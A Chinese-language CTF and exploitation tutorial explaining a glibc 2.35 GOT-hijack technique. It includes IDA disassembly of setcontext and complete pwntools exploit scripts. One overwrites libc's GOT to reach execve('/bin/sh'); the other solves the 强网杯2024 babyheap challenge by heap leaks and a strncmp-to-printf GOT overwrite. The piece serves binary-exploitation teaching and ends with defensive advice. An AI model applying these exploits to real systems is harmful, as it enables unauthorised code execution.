glibc-got攻击手法-1
字数 1631 2025-08-23 18:31:34
Glibc GOT 攻击手法深入解析
1. 攻击原理概述
Glibc GOT 攻击是一种针对 glibc 2.35 版本的新型攻击手法,由 veritas501 师傅在 2023 年 12 月提出。该攻击利用了 glibc 中 GOT 表的可写特性,通过劫持函数调用流程实现代码执行。
关键特性
- glibc 2.35 的 GOT 表是可写的
- libc 内部也存在 GOT 表
- 利用延迟绑定机制进行攻击
2. 技术背景
2.1 GOT/PLT 机制
在 glibc 中,.got.plt 表(Global Offset Table 和 Procedure Linkage Table)用于存储库函数(如 printf)的地址,实现动态加载和调用。
- 每次程序调用库函数时,.plt 段会从 .got.plt 中获取目标地址并跳转
- 这个跳转过程受 plt0 控制
- plt0 的 push 值和 jmp 地址都是从 GOT0 中取出
2.2 setcontext 函数分析
setcontext 函数在不同版本中略有不同,但基本结构相似:
.text:0000000000053A00 pop rdx
.text:0000000000053A01 cmp rax, 0FFFFFFFFFFFFF001h
.text:0000000000053A07 jnb loc_53B2F
.text:0000000000053A0D mov rcx, [rdx+0E0h]
.text:0000000000053A14 fldenv byte ptr [rcx]
.text:0000000000053A16 ldmxcsr dword ptr [rdx+1C0h]
.text:0000000000053A1D mov rsp, [rdx+0A0h]
.text:0000000000053A24 mov rbx, [rdx+80h]
.text:0000000000053A2B mov rbp, [rdx+78h]
.text:0000000000053A2F mov r12, [rdx+48h]
.text:0000000000053A33 mov r13, [rdx+50h]
.text:0000000000053A37 mov r14, [rdx+58h]
.text:0000000000053A3B mov r15, [rdx+60h]
.text:0000000000053A3F test dword ptr fs:48h, 2
.text:0000000000053A4B jz loc_53B06
.text:0000000000053B06 loc_53B06:
.text:0000000000053B06 mov rcx, [rdx+0A8h]
.text:0000000000053B0D push rcx
.text:0000000000053B0E mov rsi, [rdx+70h]
.text:0000000000053B12 mov rdi, [rdx+68h]
.text:0000000000053B16 mov rcx, [rdx+98h]
.text:0000000000053B1D mov r8, [rdx+28h]
.text:0000000000053B21 mov r9, [rdx+30h]
.text:0000000000053B25 mov rdx, [rdx+88h]
.text:0000000000053B2C xor eax, eax
.text:0000000000053B2E retn
关键点:
- 函数开头是
pop rdx,与 plt0 的push对应 - 可以控制多个寄存器的值
- 最终通过
retn实现控制流转移
3. 攻击步骤详解
示例程序分析
#include <stdio.h>
#include <unistd.h>
int main() {
char *addr = 0;
size_t len = 0;
printf("%p\n", printf);
read(0, &addr, 8);
read(0, &len, 8);
read(0, addr, len);
printf("n132");
}
攻击步骤
-
劫持 strchrnul.plt 的跳转
- printf 函数调用时会间接调用 strchrnul.plt
- 修改 strchrnul.got 表,使其指向 plt0 的起始地址 (0x28000)
- 这样每次调用 printf 时,程序会跳转到 plt0 而非 strchrnul
-
修改 GOT0 条目
- plt0 的代码:
.plt:0000000000028000 push cs:qword_219008 .plt:0000000000028006 bnd jmp cs:qword_219010 - 将 GOT0 的第一个条目修改为未使用的内存位置,用于布置 setcontext 需要的上下文数据
- 将 GOT0 的第二个条目修改为 setcontext gadget 的地址 (如 0x53A00)
- plt0 的代码:
-
构造 setcontext 上下文
- 在未使用的内存空间中布置 setcontext 需要的上下文结构:
- 设置 rsp 为某个位置,使程序能继续执行
- 设置 rip 为想要执行的函数 (如 execve)
- 设置 rdi、rsi 和 rdx,用于调用 execve("/bin/sh", NULL, NULL)
- 在未使用的内存空间中布置 setcontext 需要的上下文结构:
-
触发 printf 调用
- 调用 printf 函数触发 strchrnul.plt 劫持
- 程序跳转到 plt0,进而调用 setcontext gadget
- 执行布置的上下文,实现 RCE
4. 攻击实现 (EXP 编写)
基础部分
from pwn import *
context(log_level="debug", arch="amd64", os="linux")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
io = process("./demo")
elf = ELF("./demo")
# 获取libc基地址
libc.address = int(io.recv(14), 16) - libc.sym['printf']
print(hex(libc.address))
计算关键地址
# 获取GOT和PLT地址
got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt0 = libc.address + libc.get_section_by_name(".plt").header.sh_addr
# 计算写入位置
write_dest = got + 8
got_count = 0x36 # 硬编码的GOT条目数量
context_dest = write_dest + 0x10 + got_count * 8
地址计算说明:
got + 8: 跳过GOT表前8字节got_count = 0x36: .plt表中函数的数量context_dest: setcontext伪造上下文的存放位置
构造上下文结构
ucontext_structure = flat({
0x28: libc.sym['environ'] + 8, # r8
0x30: 0, # r9
0x48: 0, # r12
0x50: 0, # r13
0x58: 0, # r14
0x60: 0, # r15
0x68: next(libc.search(b"/bin/sh")), # rdi ("/bin/sh"字符串地址)
0x70: 0, # rsi
0x78: 0, # rbp
0x80: 0, # rbx
0x88: 0, # rdx
0x98: 0, # rcx
0xA0: libc.sym['environ'] + 8, # rsp (栈指针)
0xA8: libc.sym['execve'], # rip (ret ptr)
0xE0: context_dest, # fldenv ptr (上下文环境地址)
0x1C0: 0x1F80, # ldmxcsr 控制寄存器的值
}, filler=b'\x00', word_size=64)
构造完整payload并发送
payload = flat(
context_dest, # 上下文地址
libc.symbols["setcontext"] + 32, # setcontext的地址偏移
[plt0] * got_count, # 重复plt0多次
ucontext_structure # 手动构建的ucontext结构
)
io.send(p64(write_dest))
io.send(p64(len(payload)))
io.send(payload)
5. 实际案例分析 - 强网杯2024 babyheap
题目分析
- 程序功能:堆管理,可申请、删除、编辑、显示商品
- 漏洞:delete函数存在UAF,show函数不会\x00截断
- 特殊函数:default分支中的sub_1C99存在任意地址写
限制条件
void *sub_1C33() {
void *result; // rax
if (stdin <= buf && &stdin[512] > buf)
exit(1);
result = buf;
if (&stdin[-2206368] > buf)
exit(1);
return result;
}
- 检查任意地址是否在io结构体附近,阻止了任意地址写io的操作
利用思路
- 题目中的sub_1DAA函数包含putenv函数
- getenv函数内部依赖strncmp函数实现
- 将strncmp函数的got改成printf函数,可以带出flag文件
EXP实现
from pwn import *
context(log_level="debug", arch="amd64", os="linux")
io = process(["/home/pwn/game/qwb24/babyheap/ld-linux-x86-64.so.2", "./pwn"],
env={"LD_PRELOAD": "/home/pwn/game/qwb24/babyheap/libc-2.35.so"},)
libc = ELF("libc-2.35.so")
# 省略功能函数定义...
# 堆布局
add(0x518) # 1
add(0x500) # 2
free(1)
add(0x528) # 3
# 泄露libc和堆地址
show(1)
libc.address = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x21B110
info("libc base: " + hex(libc.address))
io.recv(10)
heap_base = u64(io.recv(6).ljust(8, b"\x00")) - 0x1950
info("heap base: " + hex(heap_base))
# 修改strncmp的got为printf
strncmp_got = libc.address + 0x21A018 + (0x8 * 32)
mi(p64(strncmp_got), p64(libc.sym["printf"]))
# 触发getenv调用
sec(2)
io.interactive()
6. 防御建议
- 启用Full RELRO保护,使GOT表不可写
- 使用地址随机化(ASLR)增加攻击难度
- 及时更新glibc到最新版本
- 对关键函数指针进行额外保护
- 限制危险函数的使用(如system、execve等)
7. 参考资源
- veritas501师傅的原始文章
- glibc源码分析
- Linux系统调用手册